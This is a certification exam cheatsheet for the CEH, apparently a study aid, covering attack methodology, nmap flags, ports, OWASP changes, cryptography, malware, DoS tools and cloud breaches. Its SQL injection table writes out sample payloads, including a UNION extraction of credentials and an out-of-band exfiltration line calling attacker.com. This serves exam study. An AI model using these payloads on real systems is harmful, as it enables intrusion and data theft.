

CEH LAST-MILE CHEATSHEET — V13 (AUG 2026)

5-PHASE METHODOLOGY (EC-COUNCIL CANONICAL)

1. **Reconnaissance** (passive OSINT + active scan) → 2. **Scanning & Enumeration** (ports, services, users, vulns) → 3. **Gaining Access** (exploit, brute, social) → 4. **Maintaining Access** (backdoor, rootkit, persistence) → 5. **Covering Tracks** (log tampering, timestomp, NTFS streams).

KILL CHAIN (LM, 7) + MITRE ATT&CK (14 ENTERPRISE TACTICS)

Lockheed Martin Kill Chain		MITRE ATT&CK Enterprise Tactics (memorise order)	
1	Reconnaissance	1	Reconnaissance
2	Weaponisation	2	Resource Development
3	Delivery	3	Initial Access
4	Exploitation	4	Execution
5	Installation	5	Persistence
6	Command & Control (C2)	6	Privilege Escalation
7	Actions on Objectives	7	Defense Evasion
Trigger "phase 3" = 5-phase model; lists of TTPs = ATT&CK		8-14	Credential Access → Discovery → Lateral Movement → Collection → C2 → Exfiltration → Impact

NMAP FLAGS — MUST KNOW

Flag	Name / Use	Flag	Name / Use
-sS	SYN scan / half-open (default, stealthy)	-sV	Service + version detection
-sT	TCP connect (no raw socket / non-root)	-O	OS fingerprinting
-sU	UDP scan (slow; DNS/SNMP/NFS)	-A	Aggressive = -sV -O -sC
-sN	NULL (no flags) — Unix only	-Pn	Skip host discovery (treat hosts up)
-sF	FIN (FIN only) — Unix only	-p-	All 65,535 ports
-sX	XMAS (FIN+PSH+URG) — Unix only	-T0..-T5	Timing: 0 paranoid, 5 insane
-sA	ACK scan — maps firewall rulesets	-f / --mtu	Fragment packets (IDS evasion)
-sI	Idle scan — zombie host spoofing	-D RND:10	Decoy scan (10 random sources)
-sS -O -sV	Typical exam combo	-g 53 / --script=	Spoof source port / NSE scripts

Gotcha: NULL/FIN/XMAS work only against **Unix**. Windows replies RST regardless → results unreliable.

DEFAULT PORTS — TESTED

Service	Port
FTP	21
SSH	22
Telnet	23
SMTP	25
DNS	53
HTTP	80
POP3	110
NetBIOS	137-139
IMAP	143
SNMP	161/162
LDAP / LDAPS	389 / 636
HTTPS	443
SMB	445
SQL Server	1433
Oracle	1521
MySQL	3306
RDP	3389
PostgreSQL	5432
Kafka	9092

OSI / TCP QUICK

L	Name	Examples
7	Application	HTTP, FTP, DNS, SMTP
6	Presentation	TLS, SSL, JPEG
5	Session	NetBIOS, RPC
4	Transport	TCP, UDP
3	Network	IP, ICMP, ARP*
2	Data Link	ARP, Ethernet, 802.11
1	Physical	Cables, radio

*ARP is commonly tested as L2 (works on L2 frames). **TCP handshake:** SYN → SYN-ACK → ACK.

PEN-TEST BOXES (NIST 800-115 / PTES)

Box	Knowledge	Time
Black	None	Most
Gray	Partial	Some
White	Full	Least

Pen-test = scoped, find vulns. **Red team** = goal-based, evade detection.

OWASP, CRYPTO, MALWARE & DOS

OWASP TOP 10 — 2021 (OFFICIAL) VS 2025 (RC NOV 2025, FINAL 2026)

#	2021 Category	2025 Change
A01	Broken Access Control (IDOR, force browsing, JWT tampering)	+ SSRF folded in (outbound authz)
A02	Cryptographic Failures (cleartext, weak TLS)	Security Misconfiguration jumps from #5 → #2
A03	Injection (SQLi, NoSQLi, LDAP, OS cmd, XSS)	Now: Software Supply Chain Failures
A04	Insecure Design (no rate-limit / threat model)	Unchanged
A05	Security Misconfiguration (default creds, XXE)	Moved to #2 in 2025
A06	Vulnerable & Outdated Components (Log4Shell)	Folded into A03 (supply chain)
A07	Identification & Auth Failures (credential stuffing)	Renamed "Authentication Failures"; prefer phishing-resistant MFA (WebAuthn, passkeys)
A08	Software & Data Integrity Failures (SolarWinds, Codecov)	Folded into A03
A09	Logging & Monitoring Failures (slow MTTD)	Unchanged
A10	SSRF (Capital One)	Folded into A01 (2025); new A10 = Mishandling of Exceptional Conditions

Exam delta to memorise: SSRF (Capital One), Insecure Design (threat model), Software Supply Chain (Codecov, SolarWinds, xz-utils). Capital One = SSRF → IMDSv1 → over-priv IAM → S3 exfil.

CRYPTOGRAPHY CHEAT SHEET

Algorithm	Type	Key / Output	Strength	Use today?
DES	Symmetric block	56-bit	Broken	No
3DES (Triple DES)	Symmetric block	168-bit (effective 112)	Deprecated 2023	Legacy only
AES	Symmetric block	128 / 192 / 256	Strong	Yes — default
Blowfish	Symmetric block	32–448 bit	OK	File encryption
RC4	Symmetric stream	40–2048 bit	Broken	No (banned in TLS)
RSA	Asymmetric	≥2048 (use ≥3072)	Strong	Yes
ECC	Asymmetric	256 bit (smaller keys)	Strong	Yes (mobile, TLS)
Diffie-Hellman	Asymmetric / KEX	1024–4096	Strong	Key exchange
MD5	Hash	128-bit	Broken (collisions)	No
SHA-1	Hash	160-bit	Broken (SHAttered 2017)	No
SHA-2 family	Hash	224 / 256 / 384 / 512	Strong	Yes
SHA-3 (Keccak)	Hash	224 / 256 / 384 / 512	Strong	Emerging
HMAC	MAC	varies	Strong	API signing

Crypto Attacks

Attack	Targets	Exam cue
Birthday	Hash collisions	"hash collision" → birthday
Brute force	All keys	DES = trivial; AES-256 = infeasible
Known plaintext	Cipher key	Have PT + CT
Chosen ciphertext	PK decryption oracle	Padding oracle (POODLE)
Man-in-the-middle	DH key exchange	No auth on KEX
Side-channel	Power / EM / timing	Dragonblood (WPA3)
Downgrade	Force weakest protocol	SSL 3.0, TLS 1.0, FREAK
Replay	Reuse captured auth	Nonce reuse → KRACK

PKI & Disk Encryption

Term	Meaning	Tool	Platform
X.509	Certificate format	BitLocker	Windows FDE
CA	Certificate Authority; trust flows from root	FileVault	macOS FDE
CRL	Certificate Revocation List (outdated)	LUKS	Linux FDE
OCSP	Online Cert Status Protocol (real-time)	EFS	Windows file-level
CSR	Certificate Signing Request		
Self-signed	Not trusted by default		

MALWARE, DOS, TOOLS & TRIGGERS

MALWARE TAXONOMY (CONDENSED)

Category	Sub-types / notes	Category	Sub-types / notes
Virus	File infector, boot sector, macro, polymorphic (mutates), metamorphic (rewrites), multipartite	Ransomware	Locker (screen), Crypto (files), Double extortion (encrypt + leak), RaaS
Worm	Self-propagating over network (Stuxnet)	Spyware / Keylogger	Silent activity capture
Trojan	Disguised legit; RAT, Banking, Backdoor, DDoS (Mirai), Dropper, Exploit kit, Defacement	Fileless / LOLBins	PowerShell, WMI, mshta, rundll32, PSEXec (in-memory; bypasses AV)
Rootkit	User-mode, Kernel-mode, Bootkit, Firmware (reimage safer than remove)	Logic bomb	Triggers on event/date
Wiper	Destroys data, no recovery (NotPetya, WhisperGate)	Adware / PUP	Lower severity

DOS / DDOS CHEAT

Attack	Layer	Tool	Defense
SYN flood	L4 TCP	hping3, LOIC	SYN cookies, rate-limit
UDP flood	L4	hping3, LOIC	Rate-limit, drop
ICMP / Smurf	L3	ping, smurf	Disable directed broadcast
Ping of Death	L3 oversized	ping -l	Patch
Teardrop	L3 frag	teardrop.c	Drop bad fragments
Fraggle	L3/L4 UDP echo	udp echo	Disable UDP echo
HTTP flood	L7	LOIC	WAF, CAPTCHA
Slowloris	L7 partial headers	slowloris.pl	WAF, conn timeout
DNS amplification	L3/L4	amp tools	Anycast, BCP38
NTP amplification	L3/L4	ntpdn monlist	Restrict monlist
Memcached DRDoS	L3/L4 (51K× amp)	amp tools	Disable UDP, auth
Mirai botnet	L7	Mirai source	Default creds removal, IoT patches

Goal of DoS = Availability (A in CIA). Botnet = zombies. C&C = IRC / HTTP / P2P / Tor.

TOOL RECOGNITION (EXAM: NAME → ONE-LINER)

Tool	What it does	Tool	What it does
Nmap	Port/service/OS detection	Hydra	Online brute force (SSH/FTP/HTTP)
Wireshark	GUI packet capture (L2/L3)	John the Ripper	Offline CPU hash cracker
tcpdump	CLI Linux packet sniffer	Hashcat	Offline GPU hash cracker
Metasploit	Exploit framework + payloads	Maltego	OSINT link analysis
Burp Suite	Web proxy / intruder / repeater	theHarvester	Email / subdomain recon
OWASP ZAP	Free web app DAST scanner	recon-ng	Modular recon framework
sqlmap	Automated SQLi detection & exploit	Shodan / Censys	Internet-wide IoT/host search
Nikto	Old-school web server vuln scan	Mimikatz	Windows credential dumper (LSASS)
Aircrack-ng	WiFi WEP/WPA cracking	Responder	LLMNR/NBNS poisoning
Kismet	WiFi detection / IDS	BloodHound	Visualise Active Directory attack paths
Ettercap	L2 MitM (legacy)	Hping3	Custom packet crafter / DoS
BetterCAP	Modern L2/L7 MitM	Scapy	Python full-control packet crafter
Yersinia	L2 attacks (DHCP, STP, CDP)	Cuckoo / ANY.RUN	Malware sandbox
Wifiiphisher / Fluxion	Evil twin / captive portal phish	IDA / Ghidra	Binary reverse engineering
Reaver	WPS PIN brute force	YARA	Malware pattern matching
SET	Social Engineering Toolkit (phish)	PowerView	PowerShell AD recon

SQLI & WEB QUICK REF

Class	Technique	Indicator / Example
In-band	Error-based	' → ODBC error leaks schema
In-band	UNION-based	' UNION SELECT user,pwd FROM users--
Inferential	Boolean blind	?id=1' AND 1=1-- vs 1=2--
Inferential	Time blind	'; IF(1=1) WAITFOR DELAY '0:0:5'--
Out-of-band	DNS / HTTP exfil	'; EXEC xp_dirtree '//'attacker.com/'--

Defence: Parameterised queries (not escaping). XSS = Reflected / Stored / DOM; defence = input validation + output encoding + CSP. CSRF defence = SameSite=Strict cookie + CSRF token + Origin/Referer check. SSRF defence = egress allow-list + IMDSv2. IDOR = per-record server-side authz.

CLOUD ATTACKS (EXAM-FREQUENT)

1. Misconfigured S3 / Blob (Tesla, Capital One) · 2. SSRF → IMDSv1 (Capital One) · 3. IAM privilege escalation (PassRole, AssumeRole) · 4. Cloud malware / cryptojacker injection · 5. K8s RBAC misconfig (Tesla K8s) · 6. Container escape (privileged + kernel CVE) · 7. Supply chain (Codecov bash uploader)

Shared responsibility: IaaS → customer owns OS/app/data; PaaS → + provider runs runtime; SaaS → provider runs everything except data/users.

EXAM-DAY TRIGGERS (AUTO-ANSWER)

Question says...	Answer	Question says...	Answer
FIRST step in CEH methodology	Reconnaissance	Strongest symmetric cipher	AES-256
Stealth Nmap scan	-sS	Hash collision attack	Birthday
OSI layer of ARP	L2	TCP 3-way handshake	SYN → SYN-ACK → ACK
Default HTTPS / SSH / RDP	443 / 22 / 3389	Defense against SQLi	Parameterized queries
Default SMB / LDAP / LDAPS	445 / 389 / 636	Best XSS defence	Input validation + encoding + CSP
Default MySQL / PG / MSSQL	3306 / 5432 / 1433	Zero Trust definition	Never trust, always verify (NIST 800-207)
Default Kafka	9092	Defense in depth	Multiple layers; no SPOF
Kill-chain phase most expensive to recover	Actions on Objectives	Goal of DoS	Availability (CIA → A)
Pen-test vs red team	Scope vs goal-based; find vulns vs evade	Authorisation absent	CMCA violation (SG); #1 legal defence = written ROE
Singapore PDPA breach	Notify PDPC ASAP, 72h if significant harm	Singapore CII owner	Report to CSA within prescribed time

Last 24h: Sleep 7h+ · Eat · Passport + water + snack · Trust what you know · You've got this.